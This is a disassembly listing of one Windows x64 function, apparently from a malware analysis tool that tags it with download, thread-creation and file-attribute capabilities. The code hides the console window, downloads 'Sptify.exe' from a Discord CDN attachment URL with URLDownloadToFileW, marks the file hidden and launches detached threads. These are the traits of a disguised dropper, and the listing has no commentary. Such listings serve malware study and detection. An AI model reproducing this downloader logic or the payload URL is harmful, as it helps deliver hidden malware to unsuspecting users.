Function at 0x1400261f0
Capabilities:
Create thread
Download url
Receive data
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140081040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0x1f], 7
mov word [rbp + 7], di
lea rcx, [rbp + 7]
call fcn.140025f30
lea rdx, str.https:__cdn.discordapp.com_attachments_1265346192808742975_1315375765050888192_Sptify.exe_ex67572ea4is6755dd24hmc6a5c0f680a98a19803ddef4ca83a9aebc88134b607caffccce15fe2883d9660
lea rcx, [rbp + 0x27]
call fcn.140023eb0
nop
lea r8, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova r8, qword [rbp + 7]
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rdx, qword [rbp + 0x27]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x1400262a2
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x49], xmm0
mov qword [rbp - 0x39], rax
mov ecx, 0x30
call fcn.140067610
mov rbx, rax
mov qword [rbp - 0x29], rax
lea rax, [rbp - 0x49]
mov qword [rbx], rax
lea rcx, [rbx + 8]
lea rdx, [rbp + 7]
call fcn.140023ff0
lea rax, [0x140026140]
mov qword [rbx + 0x28], rax
mov qword [rbp - 0x29], rbx
lea rax, [rbp - 1]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9, rbx
lea r8, [0x1400267d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 9], rax
test rax, rax
je 0x140026507
cmp dword [rbp - 1], 0
je 0x1400264fb
movaps xmm0, xmmword [rbp - 9]
movdqa xmmword [rbp - 0x19], xmm0
lea rcx, [rbp - 0x19]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400264fb
xorps xmm0, xmm0
movdqa xmmword [rbp - 9], xmm0
lea rcx, [rbp - 0x29]
call fcn.140001ad0
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x29], rax
movabs r8, 0x7fffffff88ca6bff
cmp rax, r8
je 0x140026377
mov ecx, 1
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x140026377
add rax, 0x77359400
jmp 0x140026381
movabs rax, 0x7fffffffffffffff
mov qword [rbp - 0x29], rax
lea rcx, [rbp - 0x29]
call fcn.140004540
call fcn.140025d40
test al, al
je 0x1400263f6
mov ecx, 8
call fcn.140067610
lea rcx, [0x1400261e0]
mov qword [rax], rcx
mov qword [rbp - 0x29], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140026870]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x140026433
cmp dword [rbp - 0x11], 0
je 0x140026427
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x29]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140026427
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp dword [rbp - 1], 0
je 0x140026442
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x11], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x140026485
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140026480
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140026480
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067894
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], 7
mov word [rbp + 0x27], di
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x1400264d8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400264d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400264d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067894
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400675f0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 1], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3